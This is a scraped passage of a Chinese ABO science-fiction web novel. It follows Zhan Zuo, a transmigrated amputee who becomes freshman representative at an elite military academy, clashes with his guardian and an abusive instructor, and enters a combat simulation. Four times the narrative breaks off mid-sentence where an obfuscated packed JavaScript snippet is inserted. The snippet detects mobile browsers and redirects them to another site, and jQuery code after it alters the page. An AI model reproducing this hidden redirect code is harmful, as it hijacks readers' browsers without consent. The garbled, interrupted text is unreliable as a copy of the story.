他的Alpha父亲和Omega母亲分别是帝国的贵族与大家闺秀,多年前在一场政治斗争中被清算,双双身死,临死前,湛左的母亲将他托付给了远在异国他乡的长兄。 即湛左的舅舅。 湛左的舅舅是联邦人,因为他是一个Beta,在多年前外出留学时嫁给了联邦的Alpha,顺带更换了国籍。 七岁往后,湛左一直生活在舅舅家。 舅舅和舅舅的丈夫都很有钱。前者嫁妆丰厚,后者在联邦经营着庞大的外贸公司。 所以湛左家雇得起佣人,他从来不用自己收拾屋子。 但是这也不意味着他这辈子过上了娇生惯养、幸福得不知天地为何物的生活。 他的舅舅和舅父有自己的三个孩子,湛左夹在中间,寄人篱下。 而且他和他的兄弟姐妹的关系不算太好,这就很唏嘘了。 再加上湛左身份特殊,父母是帝国的□□,舅父总担心他哪天不小心死在帝国鹰犬的暗杀中,顺带连累他们全家,因此湛左从小到大无论做点什么,只要被长辈知道或看到,就会遭到疾风骤雨般的质问。 他报考星海军校时都没通知家里,考试的那天是拖着假腿翻墙从家里跑出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203244|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为新生代表这件事湛左更是瞒得死死的,登台演讲前谁也没告诉,生怕舅父受到刺激突发心脏病。 其实湛左能理解舅父的担忧。 但是理性分析,他的腿不是帝国人斩断的,而是在出国的路上被外星毒虫咬到被迫截肢的,帝国当年就放过他了,没有斩草除根,还让他活蹦乱跳地长到十八岁,难道是在做什么人类观察实验吗? 或者在暗搓搓地等着收割一些人们在成年之后才能长出来的珍贵东西? 不存在的啊! 要做实验可以在自己的国家,而人只会随着长大丢掉脑细胞、良心与节操,再分化出一些繁衍专用器官,除此之外一件有用的都没有。 因此湛左合理地认为,帝国懒得跨境追杀小鱼小虾,而他父母当年也没犯什么大事,死就死了,至于他们的孩子,活着也无所谓。 杀死他父母的人并不担心他的报复。 这是帝国特有的傲慢。 …… 湛左花费比常人多一倍的时间铺好了床铺。 然后他仰面倒在床上,掏出星网终端,决定看两条新闻奖励劳苦功高的自己。 结果最先跳出来头条新闻居然和他有关。 那是他在开学典礼上的演讲录像。 星海军校实在太有名了,以至于每年的开学和毕业典礼录像都会成为星网上的热门视频,今年也不例外。 画面正中央的湛左比实际看上去要显眼,因为他在现实中受到沃尔玛购物袋的性别影响,存在感有点低,视频相对来说还原一些。 于是观众就会注意到,这个人很擅长演讲。 明明是老生常谈的话题——也就是宣扬联邦在未来的战争中一定会取得胜利、号召学生们团结一心努力学习为国家做贡献等等,这些内容从湛左嘴里说出来,莫名就比别人的话有感染力。 听众说不出个所以然来,只觉得自己不仅听进去了,还听完了,就好像湛左不是在做主旋律演讲,而是在说脱口秀似的。 视频底下有热评说:【今年的新生有点东西啊……不愧是星海军校。】 其他人的关注点则是湛左的身份、性别、以及他又是如何战胜今年入学的卡戎家族幼子的…… 总体来说和星海军校新生讨论的话题大差不差。 唯一的区别就是拍视频的人离讲台太远了,没拍到湛左的腿和他走下演讲台的过程,所以校外的围观群众此刻并不知道,今年的新生代表受限于肉|体、很难做个武力派。 他们也理所当然地没能讨论出结果。 湛左又看了几眼评论就把视频关了,他不愿意听自己演讲。 演讲稿是他为了迎合学校高层审美花了三天时间一点点雕琢出来的,然而其中有很多他不认同的内容,因此演讲刚一结束,他立马就把稿子扔了。 眼下哪怕是重新听一遍都很折磨。 湛左正打算点开下一条和自己无关的国际新闻,星网终端震动着,提示他收到了新消息: 【博尔德(湛左备注:母亲他哥的结婚对象):在星海军校开学典礼上演讲的人是你???你简直疯了!不要命了!限你一天时间快点滚回家,你舅舅担心你担心得都快哭了!】 5. 第五章 那怎么办?联邦最顶尖的大学已经考上了,新生代表也当上了,一切都是那么行云流水顺理成章,总不能怪自己太优秀、同龄人又都太菜了吧? 他的室友格兰瑟姆·卡戎第一个不答应。 湛左皱了皱眉,选择已读不回。 他的舅父全名叫约翰·博尔德,是个很喜欢在餐桌上对国际局势和亲朋好友的家庭琐事发表看法的中年老登。这种人,湛左在前世略有耳闻,但确实没有近距离接触过。 可能因为2077年的地球太自由了,没能力的老登只会因为口不择言在街头被人拿枪突突。 直到这辈子寄人篱下,刚穿越过来的年幼的湛左有幸撞见了名场面:博尔德一面批判原身死去的父母是如何愚蠢,一面说自己在相同的境遇会怎么怎么做,而他母亲的兄长、他的舅舅则一言不发,仅仅是坐在旁边无助地哭。 开幕雷击。 年仅七岁并失去一条腿的湛左心想,原来转生到异世界后面临的最大困难不是活下去,而是在舅父约翰·博尔德口若悬河地发表看法时面带微笑并不时点头,假装自己赞成他的观点…… 这也太难了。 不过世上无难事、只怕有心人,湛左还是顽强地做到了。 他这些年来给足了舅父面子,每当博尔德又说出了什么惊世骇俗的白痴言论时,湛左就会情不自禁地露出笑容、颔首致意。 但是不知道为什么,逐渐长大成人的湛左只要一在餐桌上露出微笑,正滔滔不绝地辨析人生哲学的舅父就会莫名其妙地停顿一下,然后恼羞成怒,对湛左发火。 真是太奇怪了,怎么会有人不喜欢别人赞同自己呢?他不会愚蠢到把湛左的赞同当成嘲笑了吧? 湛左想不通。于是他学会了放弃深究自己舅父的想法,同时也无视对方喷出的一切厨余垃圾。 关掉与舅父的聊天对话框后,湛左看了眼时间。 漫长的一天快要结束了,说是保证让他见到蒋嘉茂的格兰瑟姆·卡戎没动静,蒋嘉茂本人也不知所踪。 饶是做好了长期奋战的准备,湛左依旧感到有几分遗憾之情。 本来计划是今天就把问题解决掉的,没想到接触负责解决问题的人也成了需要被解决的问题。 缺少权力地位真是处处受限。 也不知道什么时候他才能光明正大、昂首挺胸地走进厕所,一如联邦执政官走进属于他的议事厅…… 湛左叹了口气。 天色渐晚,他不想出去买饭吃,就草草嚼了两口从家中翻墙逃跑时顺手摸走的面包,面包在又闷又热的行李箱里挤了一天,都有点发酸了,湛左也不在意。 吃完饭后,他把自己的假腿卸下来放在床边,另一条腿灵巧地将被子卷过来,就这样简简单单地团起身体和衣而睡了。 …… 第二天清晨,天刚蒙蒙亮,湛左就被敲门声叫醒了。 “湛左,你起床了吗?” 室友西蒙在门口掐着嗓子问。 湛左:“?” 莫不是来单挑的? 他一骨碌飞快地从床上爬起来,先把假腿给安上,然后有点踉跄地扑到水池边漱了下口。 他们这个宿舍是四人间,四个人共用两个带浴室的卫生间,不过每个人的屋子里有一个水池,可以进行一些诸如刷牙洗脸的简单洗漱。 湛左花两分钟刷完牙,再用水扑了把脸,胡乱拍了两下睡一晚上皱巴巴的外套,抓过手杖一瘸一拐地走到门边,将卧室门拉开一条小缝,先是分辨了一下扑面而来的柠檬水的清香味,紧接着警惕地问: “早上好,西蒙,你找我有什么事?” 西蒙抬起头,目光落在湛左乱翘的发梢和略显憔悴的面孔上。 少顷,他露出了一个阳光灿烂的笑容,亲切地说:“我注意到你昨天晚上好像没吃晚饭,今早出门锻炼时就顺便帮你带了点吃的。” 湛左不禁迷惑地眨眨眼。 哪里来的联邦好室友?这还是昨天晚上的那个乐子人吗? 对方不会在早餐里下毒了吧? 湛左沉默了一小会,慢吞吞地说道:“谢谢你,放在这吧,我待会把买早饭的钱转给你。” 西蒙劝道:“你是不是还没睡醒?不然先把饭吃了,等到了第一节课的教室再睡。” 湛左:“……” 他的目光有些迟钝地落在刚从微波炉里拿出的餐盒上,食物的香气弥漫开来,胃于是很给面子地开始了蠕动——可比湛左在舅父面前给面子多了。 但胃不是重点,湛左可以无视它,却无视不了西蒙手里餐盒的标签。 这是西蒙从学校超市买来的预制菜。 预制菜也不是重点,反正食堂饭没好吃到哪里去,重点是开学日的前一天,湛左提前来学校熟悉地形,他发现超市摆放预制菜的冰箱旁边,有一块专门的奶制品区域,而在一众牛奶酸奶乳酸饮料中间,有那么一种牛奶,它的盒子方方正正,上面的印花精致美丽,湛左经过时便情不自禁地被吸引了注意。 世上竟然有这么超凡脱俗的……话说这到底是个什么玩意? 向来思维敏捷头脑灵活能言善辩的湛左站在原地怔忪了几秒。 当时他的脑子:快醒醒,你是个人!你面前的只是一桶牛奶! 但是他的情感:远在不知何处的母亲啊,我好像遇到了自己的命定之人……奶。 等湛左好不容易反应过来的时候,他心中小鹿乱撞,面颊微红,已经在奶制品区流连忘返很久了,附近学校超市的工作人员用一种异样的眼神打量着他,眼看要上前询问他是否需要帮助。 湛左:…… 不对吧……这不对劲吧?! 人不能、至少不应该爱上一桶牛奶! 还是一见钟情。 他赶忙捂着脸离开了奶制品区,并且在接下来的一段时间里(比如昨天晚上),都没敢往超市走。 好在见不到牛奶的时候风平浪静,湛左心如止水,没有那种世俗的欲望。 他努力清空大脑,正打算顾及礼法伦常、把牛奶给忘了,结果西蒙拿着餐盒出现在他面前,湛左一看,这不是他命定情缘的“邻居”吗! 回想起牛奶盒上的棱角与花纹,沉睡在心中的感情似乎又死灰复燃了!! 湛左的心脏怦怦直跳,气血上涌,他又饿得有点低血糖了,两相叠加,一时头晕目眩。 不过他从来不在一个坑里跌倒两次,上次超市那场惊心动魄的初遇让他吸取教训,这次他努力控制住了面部表情,只是眉眼间的神色不可避免地柔和了一些。 同时他想到,他们现在是在学校里,到处都有警备队和摄像头,室友就算准备搞死他,应该也不会在这下手。 当然,没准西蒙下的不是毒药,而是为了验证湛左究竟是Beta还是Omega的春|药——可见他80%的大脑都已经被性缘关系占据了。 …… 那么要接过眼前的食盒吗? 接吧,无论是毒药还是春|药都没关系,湛左愿意为了牛奶做出一些牺牲。 主要还是爱屋及乌以及饿得太狠,太想拥有命定情缘它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203245|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邻居了。湛左克制住一手捂心脏、一手捂胃的冲动,从西蒙手里接过食盒,再次真诚地道了声谢。 西蒙第一次发现,湛左那双细看之下冷静到冷漠的眼睛也能显得如此温柔和深情。 他的心脏不受控制地加速跳动两下,本人则风度翩翩、万分体贴地说:“不客气,你慢慢吃,等一下快到点了我再来叫你。” 说完西蒙帮湛左把门关上,施施然转过身,春风得意地往客厅走去。 看看,看看,湛左对他的态度明显好转了,这样下去他还拿捏不住对方? 恐怕过不了多久他就能摸清本届新生代表是什么路数了! 正当西蒙兴高采烈地畅想未来之际,下一秒,格兰瑟姆·卡戎不知从哪冒了出来,抱着他的大胸讽刺地评价刚才的一幕: “眼光差就算了,还狗腿。” 西蒙:“……” 你大爷! 他依然闻不到格兰瑟姆身上信息素的气味,因此怀疑对方随身带着抑制贴。 市面上的信息素抑制贴分两种,一种会完全屏蔽信息素,但这种有时候会造成一些“功能”上的影响,比如两个人要进行某些活塞运动时,少了信息素就不太方便调动活力…… 还有些Alpha喜欢用信息素来压制他人,这时完全屏蔽信息素的抑制贴也不适用。 格兰瑟姆信息素的收放明显没受到影响,说明他使用的是另一种更加昂贵的抑制贴。 这种抑制贴可以只屏蔽信息素的味道,而不影响其功能,因此在战场以及一些需要避免暴露身份的场合中大受欢迎,以至于供不应求。 格兰瑟姆·卡戎仅仅是一名学生,却能把高级抑制贴当成生活日用品来用。 嫉妒使西蒙扭曲! 两个Alpha对视一眼,想法不谋而合:这人可真讨厌/碍眼! 不过他们应对讨厌同性的方式却有所不同,西蒙假惺惺地冲格兰瑟姆笑了笑,一副大人不记小人过的样子,格兰瑟姆则看穿了他的表演,厌恶地转过身,一言不发地离开了宿舍。 ** 湛左吃完饭出门时,发现包括神出鬼没的Beta林喜在内,所有室友都不见踪影了。 难怪星海军校能成为全国第一。 连新生都这么卷! 本届新生代表感慨地摇摇头,掏出课表看了一眼。 他的专业是战略与星际安全。关于这门专业,湛左说不上喜欢或讨厌,他选这门课只有一个原因: 在联邦这种断断续续打了几百年仗、军国主义盛行的国家中,一个不能套上机甲真刀实枪地上战场搏取战功的人,若想积累一点小小的原始资本,就必须要塑造出强硬好战、或者至少不避战的形象。 战略与星际安全专业的热门程度肯定比不上机甲系,和与之相关的一干衍生专业,却也算是同战场搭边,因此有不少Beta和Omega会把它当成第一志愿。 湛左觉得实施战略战术需要提前纵观天下大势,还可以侧面凸显出使用者的性格,可谓一箭双雕。 而与机甲相关的专业大多偏向于技术,他一身反骨,在娘胎里就不喜欢听人指挥、给人打辅助;像是外交或者国际关系之类的课程留给大众的印象又要么略显“怀柔”,要么过于学术了,不方便他将来毕业后往上爬。 湛左还是个瘸子。 可供一个性别莫测、且野心勃勃的瘸子选择的,前途光明的道路并不多。 无所谓,湛左干一行、爱一行! 他精神抖擞地收起课表,大步往上课地点走去。 6. 第六章 第一节课不是专业课。 星海军校是一所军校,而不是综合类大学,所以它和其他学校不一样,除了开学日会有战舰飞行表演这种奇葩玩意之外,还有一些统一的、所有人都要去上的课程。 比如政治课。 再比如体能训练。 每学期期末,湛左他们都有个体能考核,通不过的人直接挂科重修,本专业课程学得再好也没用。 学校明确说过培养学生是为了有朝一日将他们送上战场,要是在敌人手中一回合都走不下来,甚至连跑都跑不掉,那就没意义了。 所以体能训练课的课程要求十分严格。按理说,湛左情况特殊,本来应该能申请免修,然而申请免修需要提供的材料太多了,其中包括监护人签字同意书等等,湛左连报考星海军校这件事都没告诉自己的监护人,何况是免修一门非专业课! 结果就是眼看学校开学,第一节课近在咫尺,体能训练的免修也没能批下来。 没批就没批吧,大不了先去上呗。 湛左心很宽地来到了操场。 他的心宽显得颇为独树一帜,因为入学以前,几乎每一名新生都曾经听说过星海军校体能训练令人闻风丧胆的名声。 除了少数皮糙肉厚、且过于想要证明自己的Alpha之外,绝大多数学生都被折磨得苦不堪言、抱怨连连。 虽然学校规定不允许将教学内容发布到网上,但它能管住新生,还管得了毕业生? 十年前就有人把“体能训练”的内幕公开于众,指责星海军校的教官假借测试学生能力极限之名实施虐待。 然而星海军校背后站着联邦军队,十个高级将领中有五个愿意为它背书,各种利益交换错综复杂,区区一个普通学生的指控算什么? 相关新闻只在星网头条上飘了几天,就悄无声息地沉了下去,仿佛从来没存在过。 只是星网到底有记忆,谣言依旧以军校不愿看到的方式流传开来,接下来的几届新生只要在开学前略作搜索,就会得知一些骇人到犹如都市传说般的恐怖故事,什么训练环境是低氧、低温、高辐射啦,什么为了锻炼操纵机甲时使用的神经链路、教官会故意让学员精神力过载啦,什么模拟战斗中常常伴随伤残和死亡啦……之类的。 有些动脑子想想就知道是假的,但有一些听上去则格外逼真。 吓得各届新生们连夜寻找钻空子翘掉体能训练的方法。 星海军校一看,这还了得?今天你们敢钻空子,明天是不是就敢当逃兵了?? 于是申请免修的标准越来越高、审批越来越严格、需要的材料越来越变态。 可谓前人撕伞,后人淋雨。 …… 湛左在一群毛头小子和小姑娘中间站定了。 几道各怀心思的目光顿时落在了他身上。 这是不可避免的,湛左也知道自己有多显眼,他对着那些个目光一一回看过去,有些人不自在地移开视线,还有一些人依旧在好奇地打量他。 湛左身边有个高挑的青年,浅金色头发,瘦得像竹竿一样,眼窝深陷,显得蓝眼睛又大又圆,面相十分文雅。此刻他双手规规矩矩地背在身后,小幅度地倾斜身体,用气声问湛左: “湛左,你怎么没有申请免修?” 湛左学着他的样子背起没拿拐杖的那只手,也用气声回答他:“在申了,材料没备齐。你认识我?” “天下谁人不识君?”对方开了个玩笑,飞快地回头瞅了一眼,见教官还没到,便伸出手与湛左握了握,说道,“我叫休姆,休姆·布什,今年十九岁,是个Beta。” 这大概是ABO世界特有的打招呼的方式。 地球上可不会有人一上来先说自己是男的还是女的,亦或者是沃尔玛购物袋,但在这里,性别之间的差距更加明显,还有着AO相吸、B打酱油的设定,平日里从外表或信息素却不大能看出来周围人分别是什么性别,因此人们就养成了介绍身份时把第二性别一块说出口的习惯。 尤其是一些Alpha,都恨不得把“我是猛A”几个字写成标签贴在脑门上。 “湛左。” 即便对方已经知道了,湛左依然重复了一遍自己的名字,但没提性别。 这就很耐人寻味了。 星海军校是个弱肉强食的地方,像湛左这样已经站在风口浪尖的人,需要尽快展示出自己的能力,以免被不甘居于人下的同学盯上,扮猪吃老虎容易引起他人围剿,最后真的变成待宰的猪。 最快的震慑办法当然是说自己是个Alpha。 这样起码八成的Beta和Omega会选择驻足观察,Alpha也得在心里掂量掂量。 但是湛左没有这么做! 一瞬间,休姆后背泛凉,几乎感觉到了其他人兴致勃勃地瞥过来的眼神。 宛如被豺狼包围。 好在毛骨悚然感并未持续太久,因为教官到了。那是一个相貌平平、气质平平、发顶寸头也平平的中年男人,扔进人堆里都不会有人记得他长什么样。 不过新生们还是条件反射地紧张起来。 每个人都把手背到了身后、挺起胸膛,除了必须要撑着手杖的湛左。 湛左只背了一只手。 “所有人都到齐了?”教官慢条斯理地说,“没到的以后也不用来了,准备开始上课……” 他阴沉沉的眼睛扫过众人,正要掠过湛左时,说到一半的话忽地停了下来。 盯着湛左看了几秒后,教官卷起嘴唇,露出一个略显狰狞的笑容,说道:“哪里来的大少爷,在这给我摆pose呢?” 湛左:“……” 老实说,他挺胸抬头、背手拄拐的样子确实很像是前来视察的领导…… 但这不是没办法吗! 一想到自己现在站在一群新兵中间是什么样子,湛左都被逗乐了。他正要撩起裤腿解释几句,旁边的休姆飞快地说: “抱歉,长官,湛左他不方便。” 教官不耐烦道:“他有什么不方便的?你们两个又是什么关系?我在问他,你他妈为什么要替他回答??” 休姆大约是没被人疾言厉色地指责过,教官才怼他两三句话,他的脸和耳朵就有些红了,表情既羞耻又羞愧。 其余同学也是噤若寒蝉。 只有湛左没受影响,不声不响地弯下腰,把左腿的裤子往上卷了一点。 他的那条银光闪闪的金属义肢顿时暴露在了阳光下。 “报告教官,我确实不方便。”他分外镇定、甚至有些理所当然地说。 身为教官的男人又定定地瞧了他一眼,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203246|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭过头,失望道:“我说呢……原来是个残废。” 休姆的脸更红了,这次是出于其他原因,比如愤怒。 但他没有出声。 湛左也没有。 在这种场合下和教官对着干是不明智的。 但是湛左他不生气吗……?又会不会被教官说的有点难过呢? 休姆忍不住小心地用余光瞄了一眼湛左的表情,却没能在那上面找到任何负面情绪。不动声色,稳如泰山,光是这份理智和涵养就已经超过许多人了。 年轻人不由得对一个比他还小的同届生生出几分敬佩之情。 教官则失去了针对湛左的兴趣,百无聊赖地说道:“还有别的问题吗?没有的话训练正式开始……” 然而今天的课程注定一波三折。 湛左举起手,用平静的语气打断教官的话:“抱歉,我有问题。” “……” 休姆吓了一跳,感觉自己的心脏都快停跳了!他刚夸过湛左有理智,可是现在湛左是要做什么?! “我有问题。”湛左高高举着手,说出了自己的诉求,“我是联邦历352年的新生湛左,专业是‘战略与星际安全’,由于肉眼可见的特殊情况,我申请永久免修体能训练。” 教官的脸色霎时间拉了下来。 湛左身边响起了好几道倒抽冷气的声音。 “湛左?我记住了。”教官说话时微微磨牙的声音清晰可辨,“你这副样子还不想参加训练?是想在上战场的第一天就被人抓走折磨到死吗??” 湛左没说自己这副样子不会上战场,而是说:“我不会被人抓到。” “凭什么?!”教官像头老狮子一样冲他低吼,“凭你长得好看,有几分姿色,能让敌人对你手下留情?你以为你在勾引和伺候人的时候比得过天生干这行的Omega吗?” 寥寥几个站在新生队伍最边缘的Omega表情不太好看。 湛左仍旧没生气,心平气和、像在与无理取闹的人讲道理般地说:“是凭我能猜到敌方会怎么行动。” 教官用力从鼻腔喷出一口气,讥讽道:“狂妄自大。还没开始上你的战略课呢,就开始做梦了。” “我可以证明。” 湛左说道。 他或许不懂战场,但是他懂人心。 …… 恰在此时,湛左心心念念的财政大臣蒋嘉茂匆匆路过了操场。他身边陪伴着一名头发花白的老兵,两人正在低声争论着什么。 “……如果这笔钱一定要花出去的话,为什么不能投在军方呢?国家正在打仗,削弱国防恐怕不太妥当。哪怕您不站在军队的立场上考虑这些,也想一想我们讨论了一天一夜的家门口发生的事吧,若是不能做一个大规模的能吸引舆论的替代性事件转移民众的注意力,首都居民会怎么想,您所在的党派的支持者又会怎么想……” “您这是在威胁我吗,常将军?”蒋嘉茂安静地问。 “不,怎么会?”常永荣说,“我向来尊敬您,也尊敬执政官阁下。蒋先生,我们不是敌人,且都在为脚下的国家效力。” “好吧,我会考虑的,先不说这些了。” 蒋嘉茂不想给出拨款的承诺,环顾四周,不动声色地转移话题,指着略显混乱的操场问道,“那边发生了什么事?” 7. 第七章 蒋嘉茂今天出现在星海军校,不是因为他闲着没事两天来了两次,而是他昨晚没走。 如跟在他身边的常永荣常将军所说,首都太阳湾这两天发生了一件说大不大、说小不小、却很麻烦的事,让联邦执政官所在的蔷薇宫连夜把蒋嘉茂从床上叫起来,令他到星海军校,和军事战术中心的人面谈。 事件的内容是,一伙据说来自边境战区的联邦公民常年对战争局势感到不满,认为战争摧毁了自己的家园,随着时间的流逝,这种不满越积越多,最后一朝爆发了出来——他们全副武装、袭击了首都星太阳湾的一处军事重地,造成两人重伤、十人轻伤,其中还包含一名中层将领。 值得一提的是,联邦公民是在他们动手之前对他们的称呼,动手之后就变成了恐怖分子。联邦军队也不是脾气好吃干饭的,立刻阻止反击,追着这帮胆大包天的恐怖分子砍了三个行政区,效果却不能说特别令人满意: 参战的小兵是尽数剿灭了,然而为了抓到一个活口,以审出谁在后面拱火和提供资金与武器支援,军方在抓捕恐怖分子首领的时候稍稍松懈了一点。 结果让人给逃了! 不仅如此,与恐怖分子交火期间,还有人不小心误伤了一名平民。 事后指挥官一口咬定伤害平民的人是恐怖分子的首领,军方清白得宛如一朵出水芙蓉,但即便是这样,也无法掩盖整起事件中的一连串决策失误,若是消息传出去了,媒体和潜藏着的敌方势力肯定要在“我军无能”上面大做文章。 军队的失误同样是政府的失误,蔷薇厅不得不火急火燎地给他们擦屁股。 然而摊上这倒霉工作的人为什么会是财政大臣蒋嘉茂呢? 一是蒋嘉茂人就比较倒霉。 二是之前财政部和军方有一些预算上的纠纷。联邦正在打仗,军方势力肯定如日中天,可是这仗打了不是一天两天了,总有些人会对长期的资源倾斜感到不满。 民生和基建都在嗷嗷待哺,国家的钱就那么多,凭什么每年都要拨出一大半给军方? 这钱究竟用没用在刀刃上还不好说呢! 于是一些受到“地方利益集团”蛊惑的在野党、和吃饱了撑的的联邦审计署(某将军语)便提出了削减军费的提案。 蒋嘉茂在一次私人宴会场合透露说,他在考虑了。 军方一看这还得了?眼看快要进口袋的钱竟然有可能飞走!当下一有机会便缠着蒋嘉茂晓之以理、动之以情,试图说服他站在自己这边。 正巧发生了恐怖分子袭击首都军区的事,被推出来当说客的常永荣就向匆忙赶到的蒋嘉茂提出了两点“不削军费”的理由。 第一,战争未停,一旦蒋嘉茂支持削减军费,就会被扣上不顾国防的帽子。 第二,此时为军方拨款,能给群众造成一种我们受到国家保护的错觉,顺理成章地压过恐怖分子袭击的负面新闻。 一者为威逼,一者为利诱,常永荣说出这两个理由之后,就感觉自己稳了。 输不了了,这还怎么输! 听到蒋嘉茂的提问后,他漫不经心地往操场的方向看了一眼,说道: “应该是有学生在体能训练课上偷懒耍滑,放心吧,教官会给他们一个下马威的。” 蒋嘉茂不是星海军校毕业的,他想起星网上关于体能训练课的传言,暗中皱了皱眉,有点担忧学生的人身安全,就说道: “我们过去看看吧。” 常永荣无可无不可地说:“行啊,您先请。” ** 湛左对莫名其妙气到不行的教官说:“我听说星海军校有实战模拟器。” 所谓的实战模拟器就是VR,放在2077年的地球上,大家都拿这玩意来搞涩涩或者去游戏里搬砖,星际人却截然相反。 ABO世界,你有如此适合搞impart的性别设定,却又如此正直保守。 因为什么?审核吗? 教官冷笑着说:“不自量力。别以为在实战模拟器里受伤或死亡就没事了,你的大脑要是把虚拟世界的经历当真,身体没事、精神力却会严重受创,最终导致无法开机甲、信息素失控、阳痿、不能生育……” 能不能开机甲无所谓,但“阳痿”两个字一出,在场的Alpha和一半Beta们纷纷吸了口气,教官说到“不能生育”时,Omega和另一半Beta也开始吸气。 湛左就在这“嘶哈嘶哈”的声音里安慰地说:“别担心,一切后果由我个人承担。” 谁特么担心你了!我在吓唬你呢! 教官也是服了这种油盐不进的刺头新生了,当即转头对一名无辜路过的学生说:“你,去实战演练教室里帮我拿两台模拟器。” 学生一愣:“可是……” 他不知道实战演练教室在哪啊?? 教官:“没有可是,快去!!!” 一刻钟后,实战模拟器被拿来了,外观看上去像是摩托车的头盔,教官将其中一台扔给湛左,另一台戴在自己头上。 “来吧,”他说,“进去之后选难度最低的B级战役,我看你能怎么赢。” 教官打算和湛左联机,倒不单纯是为了看笑话。 体能训练课的名声本来就不好,万一湛左真出点什么事,他很难办。 …… 蒋嘉茂和常永荣远远旁观着这一幕,蒋嘉茂问:“他们进行实战模拟的时候,我们看不到他们在经历什么吗?” 常永荣在心中嗤笑一声:白痴文官,身为一个Alpha居然连实战模拟器都没用过。 他面上还是极有耐心地解释说:“是的,看不到,因为现在是无线模式,头盔没有连接到大屏幕。” 蒋嘉茂又问:“那模拟的过程会储存在头盔中吗?” 他有点忧心于星海军校的教官会暗中给学生使绊子。 “看情况吧。”常永荣没想太多,大大咧咧地说,“一般学生训练时的操作都特别烂,没什么保留价值,我上学那会,只有期末考试实战成绩第一的人才有权储存他最满意的一次战斗过程,作为范例供大家参考。” 蒋嘉茂:“请原谅,B级战役又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203247|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么意思?” “战役和一对一的战斗不同,灵活度和复杂度要高上很多,是用来培养将才的。战术中心花费不少心思,虚构出了上百个不同难度的战役,鼓励学生们挑战自我、用各种方式取得胜利,B级战役是其中难度最低的,但是对新生来说也不算简单。” 常永荣说着说着摇了摇头,指着湛左说道,“就算他是新生代表,恐怕也要吃个暗亏了。” 蒋嘉茂一怔:“他是这一届的新生代表?” “是啊。”常永荣笑,“您原本要和他见面的,怎么连人长什么样都不知道?” …… 时间静静流逝。 正在站军姿的休姆不安地换了个姿势,重心从左脚移动到了右脚,他偷偷观察着湛左的表情,想知道战役模拟进行得怎么样了、有没有出结果。 在此期间他的脑海中浮现出了无数不详的结果,从最轻的模拟失败、被教官一顿臭骂,到严重点的精神力受损,再到阳痿,再到半死不活,最后是无与伦比的可怕结局三件套——记过、留级、予以开除。 想到被星海军校开除的后果,这个像是新生小马驹一样天真无害的年轻人不禁打了个冷颤。 他几乎有点后悔帮湛左说话了,如果不是他激怒了教官,也许事情不至于发展到这步境地…… 前方突然传来一阵长长的叹息声,打断了休姆的思绪。他猛地抬起头,看向发出声音并缓缓摘下头盔的湛左: 结束了?发生了什么?看这样子应该不至于发展到精神力受损及以上吧? “挺好玩是挺好玩的。”湛左边脱头盔边嘀咕说,“就是我晕VR的毛病怎么还没好?” 在2077年的地球上,有很多人都晕VR,一般产生这种症状的原因分两种,一是看的东西太刺激了,二是在虚拟世界待的时间太长了。 其实还有第三种情况,就是看的东西又刺激,在虚拟世界待的时间又长…… 因为实在是不舍得走啊! 最后在精神鸦片里泡久了,人就容易胸闷气短、头晕眼花,再严重点还会出现幻觉,时间一长七窍流血、一命呜呼。 搁ABO世界,这叫精神力受损的典型症状。 但是在湛左的老家,不就是晕VR吗?玩不死就往死里玩,多大点事! 湛左晕VR的程度不严重——甚至不如地球上的一些从小接触VR、又用父母或逃犯的身份信息越过了分级审核的青少年。那种恶心欲呕的感觉对他来说也是习以为常,还有一种久违的亲切感。 不过就像近视眼度数很低的人也希望自己一点近视都没有一样,湛左依然有点郁闷于明明换了一具身体,精神力却跟着上辈子走这件事。 或者说不定晕VR是心理作用? 人堆里的休姆见他叹气,神色也是郁郁寡欢,心中一紧: 难道输了?输得很惨? 下一秒,湛左身边的教官跟着摘下了头盔。 他的表情比湛左复杂一百倍,就仿佛在实战模拟的过程中,看到了什么百思不得其解的东西。 8. 第八章 